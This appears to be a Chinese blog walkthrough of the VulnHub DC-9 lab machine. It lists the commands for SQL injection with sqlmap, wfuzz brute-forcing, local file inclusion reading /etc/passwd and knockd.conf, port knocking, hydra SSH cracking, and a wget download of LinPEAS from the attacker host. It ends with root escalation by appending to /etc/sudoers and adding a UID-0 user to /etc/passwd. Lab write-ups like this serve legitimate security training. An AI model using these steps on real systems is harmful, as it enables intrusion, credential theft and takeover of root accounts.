【vulnhub】靶机- [DC系列]DC9(附靶机))
主機信息
Kali:192.168.56.113
DC9:192.168.56.112
實驗過程
先進行主機探測,查找靶機的IP地址:
arp-scan --interface eth1 192.168.56.1/24
用nmap對主機進行排查確定,DC9的IP地址為192.168.56.112
可以看到DC開放了80端口以及22端口(被過濾)
nmap -sC -sV -oA dc-9 192.168.56.112
所以,首先從80端口入手,每個網頁都點開看看。看到這個搜索頁面感覺可以嘗試下SQL注入
這里我們用Burp進行嘗試,發現的確存在注入點
把請求信息導出為dc9.sqlmap,接下來用SQLmap進行遍歷
python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap
然后接下來用sqlmap導出數據
python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap ‐‐dbs python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap -D users --tables python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap -D users -T UserDetails --columns python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐T UserDetails ‐C username,password --dumppython3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D Staff ‐T Users ‐C Username,Password ‐‐dump
這里SQLmap直接幫我得到admin的密碼明文(transorbital1)
管理員賬號:admin管理員密碼:transorbital1附在線破解網站:https://hashes.com/en/decrypt/hash
我們將所有的賬號,密碼進行整理,分別整理到usename,password(這里需要注意的是,只要管理員的密碼是需要解密的,其他用戶的密碼是明文)
用wfuzz進行批量登錄查看頁面反應,只有管理員的賬號是302(ps: 意料之中)
-c:帶顏色輸出? -d:post參數? -z:payload -m:模式? zip迭代? 字典和占位符一一對應進行遍歷
wfuzz -c -z file,username -z file,password -m zip -d 'username=FUZZ&password=FUZ2Z' http://192.168.56.112/manage.php
然后我們用管理賬號進行登錄
可以看到頁面下面出現File does not exist的提示,感覺很有可能就是LFI(本地文件包含)
但是此時我們并不知道參數是多少,這里同樣用wfuzz嘗試進行遍歷(注意這里用把登錄之后的cookies也要寫上,否則網頁會提示你要登錄)
查看cookies的話可以瀏覽器直接查看,也可以讓wfuzz把請求發給burp進行查看
#-p:添加代理 wfuzz -p 127.0.0.1:8080:HTTP字典地址:http://github.com/danielmiessler/SecLists
-b:cookies -hw:隱藏指定字節數的結果 -w字典文件 wfuzz --hw 100 -b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w /usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt http://192.168.56.112/manage.php?FUZZ=index.phpwfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w /usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/passwd這里我們就找到參數file
然后我們通過**/proc/sched_debug** 來查看Linux系統中任務的調度情況
http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../../../proc/sched_debug
整理查詢發現靶機上運行這knockd
關于knockd的介紹:https://blog.csdn.net/nzjdsds/article/details/112476120
那么我們讀取下knocked的配置文件:
http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/knockd.conf
options]UseSyslog [openSSH]sequence = 7469,8475,9842seq_timeout = 25command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPTtcpflags = syn [closeSSH]sequence = 9842,8475,7469seq_timeout = 25command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPTtcpflags = syn這里提供2種敲擊方法:nc、nmap
for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.56.112;done for x in 7469 8475 9842 22 ;do nc 192.168.56.112 $x;done此時SSH就可以正常連接,接下來我們用hydra來進行爆破,用戶名和密碼就是我們先前SQL注入獲得的
hydra -L username -P password ssh://192.168.56.112?
?
[22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee [22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd [22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!然后我們對這幾個賬號都嘗試進行登錄
ssh janitor@192.168.56.112
只有janitor的家目錄存在一個名為.secrets-for-putin的文件夾,并且在其中又得到一些密碼
我們把這些密碼加入到password文件中
同時我們在janitor使用LinPEAS來探測下可利用的點
下載地址:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
現在Kali上開啟HTTP服務
python3 -m http.server 80
然后在靶機上進行下載
wget http://192.168.56.114/Linpeas.sh
然后運行之后,感覺并沒有什么特別的點
bash linpeas.sh
再使用hydra使用剛剛更新過的password文件進行SSH爆破,可以看到多了一個fredf用戶
[22][ssh] host: 192.168.56.112 login: fredf password: B4‐Tru3‐001 [22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee [22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd [22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!?
然后登陸到fredf賬號,查看下fredf的sudo權限,可以看到fredf可以不用密碼以root權限執行 /opt/devstuff/dist/test/test的文件
?
sudo ‐l
/opt/devstuff/dist/test/test是一個可執行文件,執行后出現下面的提示,應該是一個python腳本轉化為的可執行的文件
可以在上級目錄找到同名的 test.py 然后cat下內容,應該是由這個文件編譯過來的
腳本的作用就是將第一個文件的內容附加到另一個文件里面去
這樣提權就變得非常簡單,這里提供2個提權的思路
提權思路1:往/etc/sudoers里面添加內容,讓用戶可以以root的權限去執行命令
創建/dev/shm/sudoerAdd,內容如下:
joeyt ALL=(ALL) ALL
然后執行
?
sudo /opt/devstuff/dist/test/test /dev/shm/sudoerAdd /etc/sudoers
然后登陸joeyt,然后切換成root身份,get flag
提權思路2:添加一個新的用戶到/etc/passwd,然后新添加的用戶登陸
這里用Openssl來對密碼進行加密,在進行編輯輸入到/tmp/new-passwd
?
openssl passwd ‐1 ‐salt 123456 dfz?
dfz:$1$123456$1VU0YpuL7WOQvLLyYTbbv1:0:0:root:/root:/bin/bash然后把/tmp/new-passwd寫入到/etc/passwd
?
sudo /opt/devstuff/dist/test/test /tmp/new‐passwd /etc/passwd?
靶機下載地址:http://www.five86.com/downloads/DC-9.zip
總結
以上是生活随笔為你收集整理的【vulnhub】靶机- [DC系列]DC9(附靶机))的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 对某自习室系统的一次渗透测试(从iot到
- 下一篇: 针对校园某服务器的一次渗透测试